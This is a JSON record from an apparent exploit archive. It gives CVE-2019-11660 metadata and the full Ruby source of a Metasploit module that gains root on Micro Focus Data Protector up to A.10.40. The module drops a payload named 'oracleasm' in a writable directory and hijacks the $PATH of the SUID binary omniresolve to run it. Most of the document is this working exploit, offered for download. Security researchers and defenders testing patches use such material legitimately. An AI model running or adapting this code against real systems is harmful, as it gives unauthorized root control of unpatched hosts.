{"exploit":{"id":"EDB-47580","name":"Micro Focus Data Protector <= A.10.40 - SUID Privilege Escalation (Metasploit)","description":"Micro Focus Data Protector <= A.10.40 - SUID Privilege Escalation (Metasploit)","cves":["CVE-2019-11660"],"author":"Metasploit","published":"2019-11-04","platform":"linux","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47580","path":"exploits/linux/local/47580.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47580.rb","vulnerabilities":[{"id":"CVE-2019-11660","state":"PUBLISHED","title":null,"titleSource":null,"description":"Privileges manipulation in Micro Focus Data Protector, versions 10.00, 10.01, 10.02, 10.03, 10.04, 10.10, 10.20, 10.30, 10.40. This vulnerability could be exploited by a low-privileged user to execute a custom binary with higher privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-11660","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-11660"},"updatedAt":"2024-08-04T23:03:31.537Z","retrievedAt":"2026-11-26T07:24:57.864Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47580.png?v=2","url":"https://exploitbin.com/exploits/EDB-47580","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47580/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47580/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n  Rank = ExcellentRanking\n\n  include Msf::Post::File\n  include Msf::Post::Linux::Priv\n  include Msf::Post::Linux::System\n  include Msf::Exploit::EXE\n  include Msf::Exploit::FileDropper\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Micro Focus (HPE) Data Protector SUID Privilege Escalation',\n      'Description'    => %q{\n        This module exploits the trusted `$PATH` environment\n        variable of the SUID binary `omniresolve` in\n        Micro Focus (HPE) Data Protector A.10.40 and prior.\n\n        The `omniresolve` executable calls the `oracleasm` binary using\n        a relative path and the trusted environment `$PATH`, which allows\n        an attacker to execute a custom binary with `root` privileges.\n\n        This module has been successfully tested on:\n        HPE Data Protector A.09.07: OMNIRESOLVE, internal build 110, built on Thu Aug 11 14:52:38 2016;\n        Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 118, built on Tue May 21 05:49:04 2019 on CentOS Linux release 7.6.1810 (Core)\n\n        The vulnerability has been patched in:\n        Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 125, built on Mon Aug 19 19:22:20 2019\n      },\n      'License'        => MSF_LICENSE,\n      'Author'         =>\n        [\n          's7u55', # Discovery and Metasploit module\n        ],\n      'DisclosureDate' => '2019-09-13',\n      'Platform'       => [ 'linux' ],\n      'Arch'           => [ ARCH_X86, ARCH_X64 ],\n      'SessionTypes'   => [ 'shell', 'meterpreter' ],\n      'Targets'        =>\n        [\n          [\n            'Micro Focus (HPE) Data Protector <= 10.40 build 118',\n            upper_version: Gem::Version.new('10.40')\n          ]\n        ],\n      'DefaultOptions' =>\n        {\n          'PrependSetgid' => true,\n          'PrependSetuid' => true\n        },\n      'References'     =>\n        [\n          [ 'CVE', '2019-11660' ],\n          [ 'URL', 'https://softwaresupport.softwaregrp.com/doc/KM03525630' ]\n        ]\n    ))\n\n    register_options(\n      [\n        OptString.new('SUID_PATH', [ true, 'Path to suid executable omniresolve', '/opt/omni/lbin/omniresolve' ])\n      ])\n\n    register_advanced_options(\n      [\n        OptBool.new('ForceExploit', [ false, 'Override check result', false ]),\n        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\n      ])\n  end\n\n  def base_dir\n    datastore['WritableDir'].to_s\n  end\n\n  def suid_bin_path\n    datastore['SUID_PATH'].to_s\n  end\n\n  def check\n    unless setuid? suid_bin_path\n      vprint_error(\"#{suid_bin_path} executable is not setuid\")\n      return CheckCode::Safe\n    end\n\n    info = cmd_exec(\"#{suid_bin_path} -ver\").to_s\n    if info =~ /(?<=\\w\\.)(\\d\\d\\.\\d\\d)(.*)(?<=build )(\\d\\d\\d)/\n      version = '%.2f' % $1.to_f\n      build = $3.to_i\n      vprint_status(\"omniresolve version #{version} build #{build}\")\n\n      unless Gem::Version.new(version) < target[:upper_version] ||\n             (Gem::Version.new(version) == target[:upper_version] && build <= 118)\n        return CheckCode::Safe\n      end\n\n      return CheckCode::Appears\n    end\n\n    vprint_error(\"Could not parse omniresolve -ver output\")\n    CheckCode::Detected\n  end\n\n  def exploit\n    if check == CheckCode::Safe\n      unless datastore['ForceExploit']\n        fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.')\n      end\n      print_warning 'Target does not appear to be vulnerable'\n    end\n\n    if is_root?\n      unless datastore['ForceExploit']\n        fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')\n      end\n    end\n\n    unless writable?(base_dir)\n      fail_with(Failure::BadConfig, \"#{base_dir} is not writable\")\n    end\n\n    payload_path = File.join(base_dir, 'oracleasm')\n    register_file_for_cleanup(payload_path)\n    write_file(payload_path, generate_payload_exe)\n    chmod(payload_path)\n\n    trigger_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))\n    register_file_for_cleanup(trigger_path)\n    write_file(trigger_path, \"#{rand_text_alpha(5..10)}:#{rand_text_alpha(5..10)}\")\n    cmd_exec(\"env PATH=\\\"#{base_dir}:$PATH\\\" #{suid_bin_path} -i #{trigger_path} & echo \")\n  end\nend","sha256":"bb826a83aeb6786654874839c2107c81780161cdd7ffc66794bb9ae64a2553a6","bytes":4442,"fetchedAt":"2026-11-26T23:10:52.409Z","encoding":"utf-8 (display only; download retains original bytes)"}